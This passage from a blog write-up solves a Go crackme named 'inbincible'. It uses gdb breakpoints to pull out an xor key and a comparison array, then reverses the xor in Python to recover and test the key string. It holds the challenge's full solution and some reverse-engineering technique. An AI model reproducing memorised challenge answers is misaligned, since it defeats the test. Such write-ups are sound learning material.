<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x87<span class="Apple-tab-span" style="white-space: pre;"> </span>135</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x65<span class="Apple-tab-span" style="white-space: pre;"> </span>101</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x12<span class="Apple-tab-span" style="white-space: pre;"> </span>18</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x45<span class="Apple-tab-span" style="white-space: pre;"> </span>69</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x33<span class="Apple-tab-span" style="white-space: pre;"> </span>51</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x87<span class="Apple-tab-span" style="white-space: pre;"> </span>135</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x65<span class="Apple-tab-span" style="white-space: pre;"> </span>101</i><br />
<i><br /></i>
<i>Breakpoint 2, 0x08049456 in main.func ()</i><br />
<i>ecx 0x12<span class="Apple-tab-span" style="white-space: pre;"> </span>18</i><br />
<br />
The result of the xor will compared with another array byte, each byte matched, a 0x01 will be sent.<br />
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx99ItuYPGw9Y9um3fG7b1O4JYbj8eMuhb-IdN0Oike2tq1PUNd4_IRdfphJ6B1BJtj7Cd1kENgq6kQIhSzHV057aBHsNbH4b8k8V_zZD6zGoo9CA5JiQi_Px_yfIUdNs-eAHZ/s1600/chanel0or1.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx99ItuYPGw9Y9um3fG7b1O4JYbj8eMuhb-IdN0Oike2tq1PUNd4_IRdfphJ6B1BJtj7Cd1kENgq6kQIhSzHV057aBHsNbH4b8k8V_zZD6zGoo9CA5JiQi_Px_yfIUdNs-eAHZ/s1600/chanel0or1.png" height="173" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">The cmp of the xored argument byte,<br />
will determine if the channel send 0 or 1</td></tr>
</tbody></table>
<br />
<br />
<i>(gdb) b *0x0804946a</i><br />
<i>(gdb) commands</i><br />
<i>>i r al</i><br />
<i>>c</i><br />
<i>>end</i><br />
<br />
<div style="text-align: justify;">
At this point we have the byte array used to xor the argument, and the byte array to be compared with, if we provide an input that xored with the first byte array gets the second byte array, the code will send 0x01 by the channel the 16 times.</div>
<br />
<br />
Now web have:<br />
<br />
<i>xorKey=[0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12,0x45,0x33,0x87,0x65,0x12]</i><br />
<br />
<i>mustGive=[0x55,0x75,0x44,0xb6,0x0b,0x33,0x06,0x03,0xe9,0x02,0x60,0x71,0x47,0xb2,0x44,0x33]</i><br />
<div>
<i><br /></i></div>
<br />
Xor is reversible, then we can get the input needed to dexor to the expected values in order to send 0x1 bytes through the go channel.<br />
<br />
<i>>>> x=''</i><br />
<i>>>> for i in range(len(xorKey)):</i><br />
<i>... x+= chr(xorKey[i] ^ mustGive[i])</i><br />
<i>... </i><br />
<i>>>> print x</i><br />
<i><br /></i>
<i><b>G0w1n!C0ngr4t5!!</b></i><br />
<br />
<br />
And that's the key :) let's try it:<br />
<br />
<i>~/ncn$ ./inbincible 'G0w1n!C0ngr4t5!!'</i><br />
<i>Yeah!</i><br />
<br />
Got it!! thanx <a href="https://twitter.com/nibble_ds">@nibble_ds</a> for this funny crackme, programmed in the great go language. I'm also a golang lover.<br />
<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0